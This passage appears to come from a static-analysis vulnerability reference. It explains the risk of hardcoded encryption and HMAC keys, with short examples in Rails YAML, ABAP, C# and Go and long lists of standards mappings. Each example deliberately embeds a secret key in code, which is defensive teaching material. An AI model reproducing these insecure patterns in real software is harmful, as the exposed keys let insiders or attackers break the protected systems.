[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.vb.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
Never hardcode an encryption key because it makes the encryption key visible to all of the project's developers, and makes fixing the problem extremely difficult. Changing the encryption key after the code is in production requires a software patch. If the account that the encryption key protects is compromised, the organization must choose between security and system availability.

Example 1: The following example shows an encryption key inside the secrets.yml file of a Ruby on Rails configuration:


...
production:
  secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...


Anyone with access to the code can see the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. Any attacker with access to the application executable can extract the encryption key value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.yaml.key_management_hardcoded_encryption_key

Key Management: Hardcoded HMAC Key

Abstract
Hardcoded HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an HMAC key. The cryptographic strength of HMAC depends on the confidentiality of the secret key, which is used for the calculation and verification of the message authentication values. Hardcoding an HMAC key allows anyone with access to the source to view it, and undermines the cryptographic strength of the function.
Example 1: The following code uses a hardcoded key to compute the HMAC:

...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
             Input_string type string.

CALL METHOD cl_abap_hmac=>get_instance
  EXPORTING
    if_algorithm = 'SHA3'
    if_key       = 'secret_key'
  RECEIVING
    ro_object    = lo_hmac.

" update HMAC with input
lo_hmac->update( if_data = input_string ).

" finalise hmac
lo_digest->final( ).

...


This code will run successfully, but anyone who has access to it will have access to the HMAC key. After the program ships, there is likely no way to change the hardcoded HMAC key "secret_key" unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.abap.key_management_hardcoded_hmac_key
Abstract
Hardcoded HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an HMAC key. The cryptographic strength of HMAC depends on the confidentiality of the secret key, which is used for the calculation and verification of the message authentication values. Hardcoding an HMAC key allows anyone with access to the source to view it, and undermines the cryptographic strength of the function.
Example 1: The following code uses a hardcoded key to compute the HMAC:

...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
  string hmacKey = "lakdsljkalkjlksdfkl";
  byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
  hmac.Key = keyBytes;
  ...
}


This code will run successfully, but anyone who has access to it will have access to the HMAC key. After the program ships, there is likely no way to change the hardcoded HMAC key "hmacKey" unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.dotnet.key_management_hardcoded_hmac_key
Abstract
Hardcoded HMAC keys can compromise system security in a way that is not easy to remedy.
Explanation
Never hardcode an HMAC key. The cryptographic strength of HMAC depends on the confidentiality of the secret key, which is used for the calculation and verification of the message authentication values. Hardcoding an HMAC key allows anyone with access to the source to view it and undermines the cryptographic strength of the function.

Example 1: The following code uses a hardcoded key to compute the HMAC:


import "crypto/hmac"
...
hmac.New(sha256.New, []byte("secret"))
...


This code runs successfully, but anyone who has access to the source has access to the HMAC key. After the program ships, there is no way to change the hardcoded HMAC key "secret" unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
